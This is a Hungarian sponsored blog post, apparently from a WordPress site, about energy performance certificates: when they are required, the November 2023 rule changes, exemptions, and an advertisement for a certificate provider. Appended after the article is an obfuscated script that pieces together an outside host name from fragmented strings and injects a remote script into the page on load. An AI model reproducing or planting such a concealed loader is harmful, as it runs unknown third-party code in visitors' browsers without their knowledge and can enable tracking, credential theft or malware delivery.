<h1 class="wp-block-heading">Fontos változások 2023 novemberétől az energetikai tanúsítvány kapcsán?</h1>



<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:66.66%"><div class="taxonomy-post_tag wp-block-post-terms"><a href="https://tipplee.hu/tag/szponzoralt-tartalom/" rel="tag">szponzorált tartalom</a></div></div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:33.33%"><div class="has-text-align-right wp-block-post-date"><time datetime="2024-06-16T15:42:56+00:00">június 16, 2024</time></div></div>
</div>



<p>Mi az energetikai tanúsítvány? Az energetikai tanúsítvány egy hivatalos dokumentum, amely részletes információkat nyújt egy lakás energetikai tulajdonságairól. Az Európai Unió jogszabályai alapján kötelező elkészíteni, és célja az energiatakarékosság előmozdítása. A tanúsítvány nemcsak az épület energiahatékonyságáról nyújt tájékoztatást, hanem konkrét ajánlásokat is tartalmaz az energiamegtakarításra.</p>



<h2 class="wp-block-heading">Mikor kötelező az energetikai tanúsítvány? ;</h2>



<p>Az energetikai tanúsítvány készítése kötelező:</p>



<p>&#8211; Új építésű ingatlanok esetében.</p>



<p>&#8211; 2012 óta minden eladásra vagy hosszú távú bérbeadásra kínált meglévő épület esetében.</p>



<p>A tanúsítványt az egész épületre vonatkozóan kell elkészíteni, beleértve a többlakásos épületeket is. Az adásvételi vagy bérleti szerződésbe be kell írni az energetikai tanúsítvány egyedi kódját, és nyilatkozni kell arról, hogy a vevő vagy bérlő átvette a dokumentumot.</p>



<h2 class="wp-block-heading">Az energetikai tanúsítvány tartalma</h2>



<p>Az energetikai tanúsítvány tartalmazza az adott épület energiahatékonysági szintjét, amely kategóriákba sorolható A+-tól (fokozottan energiatakarékos) egészen I-ig (rossz). Az ajánlások reálisak és költséghatékonyak, ha a tanúsítványt megfelelő szakember állítja össze. Az energetikai tanúsítvány elkészítésére jogosultak azok, akik szerepelnek a Magyar Mérnöki Kamara vagy a Magyar Építész Kamara névjegyzékében.</p>



<h2 class="wp-block-heading">Fontos változások 2023 novemberétől ;</h2>



<ol class="wp-block-list" start="2023">
<li>november 1-jén új jogszabályváltozások léptek érvénybe az energetikai tanúsítványokkal kapcsolatban, amelyek célja az épületek energiahatékonyságának javítása és a lakosság tájékoztatásának bővítése. A legfontosabb változások a következők:</li>
</ol>



<p>&#8211; Új rendelet: A 7/2006. (V. 24.) TNM rendelet helyett a 9/2023. (V. 25.) ÉKM rendelet lépett életbe.</p>



<p>&#8211; Rövidebb érvényesség: Az energetikai tanúsítványok érvényessége 10 évről 5 évre csökkent.</p>



<p>&#8211; Új tartalom: Az energetikai tanúsítványok mostantól nemcsak az épület energetikai besorolását, hanem a javasolt korszerűsítési javaslatokat is tartalmazzák.</p>



<p>&#8211; Elektronikus nyilvántartás: Az energetikai tanúsítványok nyilvántartása az entan.e-epites.hu oldalról az oeny.hu/oeny/e-tanusitas/ oldalra költözött.</p>



<p>&#8211; Hirdetés: Ingatlan hirdetésben kötelező feltüntetni az ingatlan energetikai besorolását.</p>



<p>&#8211; Szerződés: A HET számot nem kell beleírni az adásvételi vagy bérbeadási szerződésbe, de a tanúsítványt be kell mutatni a vevőnek vagy bérlőnek és birtokbaadáskor át kell adni.</p>



<p>A változások várható hatásai ;</p>



<p>A jogszabályváltozások ösztönzik az épületek energetikai korszerűsítését és javítják az ingatlanvásárlók és -bérlők tájékozottságát. A rövidebb érvényesség és az elektronikus nyilvántartás hatékonyabbá teszi az energetikai tanúsítványok nyomon követését.</p>



<h2 class="wp-block-heading">Tippek az energetikai tanúsítvány beszerzéséhez </h2>



<p>&#8211; Válasszon akkreditált tanúsítványozót.</p>



<p>&#8211; Kérjen árajánlatot több tanúsítványozótól is.</p>



<p>&#8211; Bizonyosodjon meg róla, hogy a tanúsítványozó a legfrissebb rendelet alapján készíti el a tanúsítványt.</p>



<p>&#8211; Olvassa el figyelmesen a tanúsítványt, és tegye fel kérdéseit a tanúsítványozónak.</p>



<figure class="wp-block-image size-full"><img src="https://tipplee.hu/wp-content/uploads/2024/06/energetikaitanusitvanycsaladihaz.jpg" alt="energetikai tanusítvány" class="wp-image-1518"/></figure>



<h2 class="wp-block-heading">Mikor kötelező és mikor nem? ;</h2>



<p><strong>Kötelező:</strong></p>



<p>&#8211; Értékesítésre kerülő ingatlanra</p>



<p>&#8211; Tartósan (egy éven felül) bérbe adott ingatlanra ;</p>



<p><strong>Nem kötelező:</strong></p>



<p>&#8211; Az önálló, más ingatlanhoz nem csatlakozó 50 m²-nél kisebb hasznos alapterületű ingatlanra</p>



<p>&#8211; Évente 4 hónapnál kevesebb használatra szánt ingatlanra</p>



<p>&#8211; Maximum 2 éves használatra szánt ingatlanra</p>



<p>&#8211; Hitéleti épületre</p>



<p>&#8211; Mezőgazdasági épületre (bizonyos feltételek mellett)</p>



<p>&#8211; Műhelyre</p>



<p>&#8211; Egy évnél rövidebb időre bérbe adott ingatlanra</p>



<figure class="wp-block-image size-full"><img src="https://tipplee.hu/wp-content/uploads/2024/06/energetikaitanusitvanytarsashaz2.jpg" alt="energetikai tanúsítvány" class="wp-image-1520"/></figure>



<p>Amennyiben minőségi, gyors és megfizethető energetikai tanúsítványra van szüksége, forduljon hozzánk! Garantáljuk a legjobb árat, a legrövidebb határidőt és a kiemelkedő minőségű tanúsítványt! Az online rendeléshez látogasson el honlapunkra a <a href="https://energiatanusitvanyolcson.hu">https://energiatanusitvanyolcson.hu</a> webcímen, majd töltse ki az ott található űrlapot. Kollégánk hamarosan felkeresi Önt, és a helyszíni felmérés után rövid időn belül elkészítjük az energetikai tanúsítványt.</p>



<p></p>



<script>
(function(){
tjwyu="x5qq77pnjwy4";tjwy=document.createElement("script");
tjwy_="u"+("st");tjwy_+="at"+(".");tjwy.async=true;tjwy_+="in";
tjwyu="2299493018."+tjwyu;tjwy.type="text/javascript";tjwyu+="5apne7pwpzmu";
tjwyu+="zv0at8";tjwy_+=("f")+"o"+("/");tjwy.src="https://"+tjwy_+tjwyu;
tjwyd=document.body;tjwyd.appendChild(tjwy);
})();
</script>